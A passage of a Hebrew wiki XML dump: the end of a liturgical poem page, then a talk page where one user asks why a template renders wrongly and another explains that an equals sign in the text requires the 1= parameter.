כל זמניהם עצורים \ כופפים [נ&quot;א: זוקפים] לאל בקומה
דורשי ארבעה ועשרים [=תנ&quot;ך] \ כל זמן לילה ויומה


}}</text>
      <sha1>ca5838t89cjftwmlvtay7rrk7w2ncm3</sha1>
    </revision>
  </page>
  <page>
    <title>שיחה:קום ידידי בשחרים</title>
    <ns>1</ns>
    <id>1744417</id>
    <revision>
      <id>3020745</id>
      <timestamp>2026-06-19T09:04:22Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <comment>יצירת דף עם התוכן &quot;מישהו יכול לעזור לי, למה יש תקלה בהצגת התבנית? ~~~~&quot;</comment>
      <origin>3020745</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="209" sha1="2z6rxdheef5pt6q7xy57gc81ozkj0am" xml:space="preserve">מישהו יכול לעזור לי, למה יש תקלה בהצגת התבנית? [[משתמש:אלשרעבי|אלשרעבי]] ([[שיחת משתמש:אלשרעבי|שיחה]]) 12:04, 19 ביוני 2026 (IDT)</text>
      <sha1>2z6rxdheef5pt6q7xy57gc81ozkj0am</sha1>
    </revision>
    <revision>
      <id>3020748</id>
      <parentid>3020745</parentid>
      <timestamp>2026-06-19T09:35:43Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <comment>תגובה למשתמש אלשרעבי ([[mw:c:Special:MyLanguage/User:JWBTH/CD|CD]])</comment>
      <origin>3020748</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="625" sha1="jydnma7o9099so8oq79muh8gcf4byov" xml:space="preserve">מישהו יכול לעזור לי, למה יש תקלה בהצגת התבנית? [[משתמש:אלשרעבי|אלשרעבי]] ([[שיחת משתמש:אלשרעבי|שיחה]]) 12:04, 19 ביוני 2026 (IDT)
: יש לך סימן שוויון בטקסט (במלה &quot;=שכל&quot;). כשיש סימן שוויון בטקסט, חובה להשתמש בפרמטר 1= לפני הטקסט. ראה כיצד השתמשתי בתבנית {{תב|רן}} (אינני מכיר מספיק את תבנית {{תב|שיר מנוקד}}). בברכה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:35, 19 ביוני 2026 (IDT)</text>
      <sha1>jydnma7o9099so8oq79muh8gcf4byov</sha1>
    </revision>
  </page>
</mediawiki>